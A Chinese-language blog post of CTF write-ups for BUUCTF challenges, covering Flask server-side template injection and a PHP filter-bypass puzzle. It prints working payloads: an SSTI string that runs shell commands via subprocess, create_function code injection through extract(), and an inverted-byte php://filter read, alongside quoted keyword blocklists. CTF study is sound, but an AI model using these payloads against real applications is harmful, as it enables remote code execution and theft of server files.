buuctf20

之前的博客忘记保存了。。。。呜呜呜呜

cookie伪造,session是很明显的base64编码,把钱更改一下,然后id更改一下就可以拿到flag了

[RootersCTF2019]I_<3_Flask

介绍一个工具:
Arjun工具
使用python进行安装
简单介绍一下使用方法:

python3 arjun -u http://25aa54c2-e825-4339-b4cf-b794f03a4221.node4.buuoj.cn/ -m get -c 150 -d 0.5

https://www.freebuf.com/sectool/200175.html

img

https://www.freebuf.com/sectool/200175.html

扫出注入名为name,接下来直接构造注入语句进行注入

name={{%22%22.__class__.__base__.__subclasses__()[222]('cat /proc/self/cwd/flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

其中也有遇到一个难点,就是找不到flag,越是先使用了find -name “flag*”找了一下flag,发现是flag.txt,但依旧不知道路径,于是翻了一下linux重要目录,使用/proc/self/cwd/列出了当前运行进程工作目录:
img

但是还是没有完整路径,这里就猜想了一下,这个路径能不能直接访问呢?

没想到居然是可以的
所以就有了以上payload

小tips

可以通过/proc/self/cwd/直接cat到当前工作进程的文件
例如/proc/self/cwd/flag.txt 就可以直接cat到此flag而不需要去寻找flag的绝对路径

[BJDCTF2020]EzPHP

 <?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>

真好,又忘记保存博客了。

绕过小结

1.$_SERVER['QUERY_STRING']绕过
$_SERVER[‘QUERY_STRING’]接受数据是不会进行解码的,所以我们直接将传入的内容进行url编码即可

2.preg_match绕过
正则匹配使用%0Aj进行换行操作即可绕过

3.REQUEST值匹配绕过
由于post的优先级高于get,所以我们只要传一个post值就可以,当然是要数字

4.file_get_contents绕过
我们知道file_get_contents是从文本中读取内容,那么这里就需要使用php的伪协议了,使用data即可格式为data:text/plain;+文本

5.sha绕过使用数组进行绕过即可
就传入数组就行

但是很奇怪 当我在绕过第三个的时候发现就出问题了,,在本地尝试也是可以绕过的,但是到了buu上面就是绕不过?
看了一下wp 考点在于后面create_function的构建,于是就直接来学学吧

create_function的使用

1.简介

适用范围:PHP 4> = 4.0.1PHP 5PHP 7

功能:根据传递的参数创建匿名函数,并为其返回唯一名称。

语法:

create_function(string $args,string $code)
string $args 声明的函数变量部分

string $code 执行的方法代码部分

2.功能分析案例

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
?>

img

3.执行原理分析

create_funtion()会创建一个匿名函数(lambda样式)。此处创建了一个lambda_1的函数,在第一个echo中显示出名字,并在第二个echo语句中执行了此函数

create_function()函数会在内部执行eval(),我们发现是执行了后面的return语句,属于create_function()中的第二个参数string$code位置

function lambda_1($a, $b){
return $a+$b;
}

4.本题利用详解

本题利用点在这里:

$code('', $arg); 

第一个参数为空,第二个为可控参数,所以我们需要构造注入语句,看下$arg来自哪里。。逛了一圈,发现哪里都没有发现了extract() 函数

extract() 函数
从数组中将变量导入到当前的符号表。 该函数使用数组键名作为变量名,使用数组键值作为变量值。 针对数组中的每个元素,将在当前符号表中创建对应的一个变量。 该函数返回成功设置的变量数目。

所以我们就利用这个flag来改变arg的值
首先,构造出来的语句要具有变成下面这样:

function a{
return $a;
}
xxx;//}

翻译成我们的注入语句即为:

&flag[arg]=}a();//&flag[code]=create_function

而这个a后面的函数我们还有待构建就是了。。
接下的难点是
1.无法使用system()等函数执行系统命令,过滤了flag等关键字,过滤了print等关键字
但是,在这里还包含了

{ 
include "flag.php";
$code('', $arg);
} ?>

这里的这个思路就很奇妙了
包含了这个文件,代表可以使用里面的变量,所以要想办法在不指定变量名称的情况下输出变量的值——get_defined_vars()函数用来输出所有的变量和值

所以使用的payload为:

&flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function

但是此时只能获取到假的flag,继续构造:

&flag[arg]=}require(base64_decode(MWZsYWcucGhw));var_dump(get_defined_vars());//&flag[code]=create_function

由于环境受限没法复现完全,但是看了师傅们的文章感觉视野开拓了不少

非预期解

1取反/异或绕过+伪协议读源码

payload:

require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%CE%99%93%9E%98%D1%8F%97%8F));//

中间的取反结果为:

php://filter/read=convert.base64-encode/resource=1flag.php

https://www.gem-love.com/ctf/770.html#%E8%80%83%E7%82%B96%EF%BC%8Ccreatefunction()%E4%BB%A3%E7%A0%81%E6%B3%A8%E5%85%A5

小结:

这题很可惜,似乎是环境出了点问题所以没办法做到最后一步,但是也收获了很多,尤其是最后文件包含的思路,眼前一亮,以及非预期解让我懂得了其实字符过滤,异或取反操作往往会有不一般的收获,

Author

vague huang

Posted on

2021-06-21

Updated on

2021-07-10

Licensed under

Comments